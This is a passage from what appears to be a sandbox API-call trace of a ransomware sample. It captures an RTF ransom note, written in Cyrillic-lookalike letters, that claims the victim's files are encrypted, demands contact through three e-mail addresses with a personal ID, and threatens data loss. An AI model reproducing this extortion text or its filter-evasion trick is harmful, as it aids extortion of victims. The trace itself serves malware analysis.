billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.546] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 